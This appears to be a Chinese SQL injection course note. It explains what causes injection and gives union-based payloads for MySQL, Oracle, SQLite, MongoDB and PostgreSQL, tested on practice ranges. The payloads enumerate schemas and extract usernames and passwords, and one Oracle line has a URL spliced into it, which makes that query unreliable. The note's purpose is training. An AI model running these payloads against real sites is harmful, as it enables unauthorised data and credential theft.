Web攻防-SQL注入&数据库类型&用户权限&架构分层&符号干扰&利用过程&发现思路

知识点:

1、Web攻防-SQL注入-产生原理&应用因素

2、Web攻防-SQL注入-各类数据库类型利用

演示案例-WEB攻防-SQL注入-数据库类型&架构分层&符号干扰

一、数据库知识

1、数据库名,表名,列名,数据


2、自带数据库,数据库用户及权限



3、数据库敏感函数,默认端口(3306、1521、1433、6379等)

4、数据库查询方法(增删改查)

二、SQL注入产生原理

bash 复制代码
代码中执行的SQL语句存在可控变量导致

三、影响SQL注入的主要因素

1、数据库类型(权限操作)

2、数据操作方法(增删改查)

3、参数数据类型(符号干扰)

4、参数数据格式(加密编码等)

5、提交数据方式(数据包部分)

bash 复制代码
GET注入、POST注入、HTTP头注入

6、有无数据处理(无回显逻辑等)

bash 复制代码
 延迟注入

四、常见SQL注入的利用过程

bash 复制代码
1、判断数据库类型
2、判断参数类型及格式
3、判断数据格式及提交
4、判断数据回显及防护
5、获取数据库名,表名,列名
6、获取对应数据及尝试其他利用

五、黑盒/白盒如何发现SQL注入

bash 复制代码
1、盲对所有参数进行测试
2、整合功能点脑补进行测试
白盒参考后期代码审计课程

六、利用过程

bash 复制代码
获取数据库名->表名->列名->数据(一般是关键数据,如管理员)

演示案例-WEB攻防-SQL注入-数据库类型&利用过程&发现思路

靶场

http://vulnweb.com/
https://mozhe.cn/Special/SQL_Injection

一、Access:已经基本淘汰 意义不大

二、Mssql

http://vulnweb.com/

三、Mysql

https://mozhe.cn/Special/SQL_Injection

参考文章:https://blog.csdn.net/weixin_57524749/article/details/140618103

1、查看当前页面在数据库里的字段数

bash 复制代码
order by 5

2、获取数据库名

bash 复制代码
id=-1 union select 1,database(),3,4

3、获取表名

bash 复制代码
id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'



4、获取列名

bash 复制代码
id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'


5、获取相关数据

bash 复制代码
id=-1 union select 1,2,group_concat(id,name,password),4 from StormGroup_member


四、Oracle

参考文章:https://blog.csdn.net/A2893992091/article/details/141365829

bash 复制代码
and 1=2 union select (select distinct owner from all_tables where rownum=1),'2' from dual
and 1=2 union select (select table_name from user_tables where rownum=1),'2' from dual
and 1=2 union select (select table_name from user_tables whehttps://blog.csdn.net/qq_32393893/article/details/103083240
 1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users'),'2' from dual
and 1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')),'2' from dual
and 1=2 union select USER_NAME,USER_PWD from "sns_users"
and 1=2 union select USER_NAME,USER_PWD from "sns_users" where user_name not in ('hu')

五、SQLite

参考文章: https://blog.csdn.net/qq_32393893/article/details/103083240

bash 复制代码
union select 1,name,sql,4 from sqlite_master limit 0,1
bash 复制代码
union select 1,name,password,4 from WSTMart_reg

六、MongoDB

参考文章:https://blog.csdn.net/m0_75036923/article/details/141364038

bash 复制代码
id=1'});return ({title:'1',content:'2
bash 复制代码
'});return ({content:tojson(db.getCollectionNames()),title:'1
bash 复制代码
'});return ({content:tojson(db.Authority_confidential.find()[0]),title:'

七、PostgreSQL

参考文章:https://blog.csdn.net/2401_88387979/article/details/144275425

bash 复制代码
and 1=2 union select 'null',null,null,null
and 1=2 union select null,'null',null,null 
and 1=2 union select null,null,string_agg(datname,','),null from pg_database
and 1=2 union select null,null,string_agg(tablename,','),null from pg_tables where schemaname='public'
and 1=2 union select null,null,string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'
and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users
相关推荐
odoo中国6 小时前
Odoo 19 安全完整解析:多层防护守护企业核心数据
安全·odoo·数据备份·数据保护·用户权限·odoo19·用户访问规则
悟道子HD1 天前
SRC漏洞挖掘——2.SQL注入漏洞实战详解
sql·web安全·网络安全·渗透测试·sql注入·sqlmap·暴力破解
HelloTonyGo13 天前
个人游戏笔记本免费“养龙虾”(四)OpenClaw(exec tools)的文件权限配置
ubuntu·exec·白名单·文件权限·用户权限·openclaw
PyHaVolask18 天前
SQL 注入实战:时间盲注原理与 Python 脚本详解
渗透测试·sql注入·python脚本·数据库安全·时间盲注
PyHaVolask20 天前
SQL 注入实战:布尔盲注完整流程与 Python 脚本详解
web安全·渗透测试·sql注入·python脚本·布尔盲注
PyHaVolask21 天前
SQL 注入实战:布尔盲注原理与自动化脚本解析
sql注入·二分查找算法·自动化脚本·布尔盲注·sqli-labs靶场
xcLeigh25 天前
SQL 注入防不住?金仓内核级防火墙,白名单防护零误报
数据库·数据安全·sql注入·kingbasees·金仓数据库·数据补丁
努力的lpp2 个月前
SQLMap CTF 常用命令全集
数据库·web安全·网络安全·sql注入
努力的lpp2 个月前
SQL 报错注入
数据库·sql·web安全·网络安全·sql注入
味悲2 个月前
SQL注入学习笔记一
安全·sql注入